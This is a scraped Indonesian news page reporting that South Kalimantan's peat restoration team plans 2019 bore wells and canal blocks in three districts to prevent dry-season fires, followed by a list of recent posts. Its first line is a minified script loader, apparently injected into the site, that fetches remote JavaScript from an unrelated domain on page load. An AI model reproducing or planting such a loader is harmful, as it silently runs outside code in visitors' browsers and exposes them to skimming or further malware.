(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

TRGD Kalsel Berencana Tambah Sumur Bor dan Sekat Kanal


BANJARMASIN, Badan Meteorologi Klimatologi dan Geofisika (BMKG) memprediksi musim kemarau di wilayah Indonesia bagian tengah akan tiba pada awal bulan April nanti.

Untuk mengantisipasi bencana kebakaran lahan dan hutan di Kalsel yang sering terjadi di musim kemarau, Tim Restorasi Gambut Daerah (TRGD) Kalsel pun kembali bersiap membangun sekat kanal dan sumur bor di lahan gambut pada tahun 2019 ini.

Kehadiran sumur bor dan sekat Kanal sendiri diharapkan bisa membantu membasahi lahan gambut di Kalsel yang jumlahnya mencapai 79.000 hektare agar tidak mudah terbakar saat musim kemarau tiba.

“Ada tiga daerah di Kalsel yang akan kita bangun kembali sekat kanal dan sumur bor. Yaitu Kabupaten Balangan, Tapin dan Hulu Sungai Utara (HSU),” ungkap Ketua TRGD Kalsel Saut Nathan Samosir, Minggu (17/3/2019) di sela kegiatan pesta sekaligus pelantikan Pengurus Bona Taon Toga Sinaga Boru, Bere/Ibebere se-Kalsel.

Untuk membangun sekat kanal dan sumur bor di tiga daerah TRGD Kalsel memerlukan anggaran mencapai Rp8,1 miliar. Anggaran tersebut sudah disetujui saat Rapat Koordinasi dengan TRG Pusat pada awal Maret 2019 lalu.

“Sedangkan terkait dana operasional TRGD Kalsel selama Tahun 2019 ini juga sudah disetujui sebesar Rp950 juta. Kami optimis dengan jumlah anggaran tersebut TRGD Kalsel akan mampu mengantisipasi kebakaran hutan di Kalsel selama musim kemarau,” tambahnya.

Dalam kesempatan ini Samosir tidak lupa mengingatkan masyarakat agar saat musim tanam tiba pada musim kemarau, hendaknya tidak melakukan pembersihan dengan cara membakar lahan.

Hal ini tentunya dapat menjadi salah satu penyebab utama seringnya terjadi kebakaran pada lahan gambut pada musim kemarau di Kalsel. Akibatnya pelaku usaha maupun masyarakat pun menjadi dirugikan.

“Kita harapkan kepedulian masyarakat lah untuk bisa sama-sama menjaga, agar di Kalsel pada tahun 2019 ini saat musim kemarau tidak terjadi kebakaran hutan yang parah seperti beberapa tahun sebelumnya,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

1 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

4 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

4 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

6 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

8 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

9 jam ago

This website uses cookies.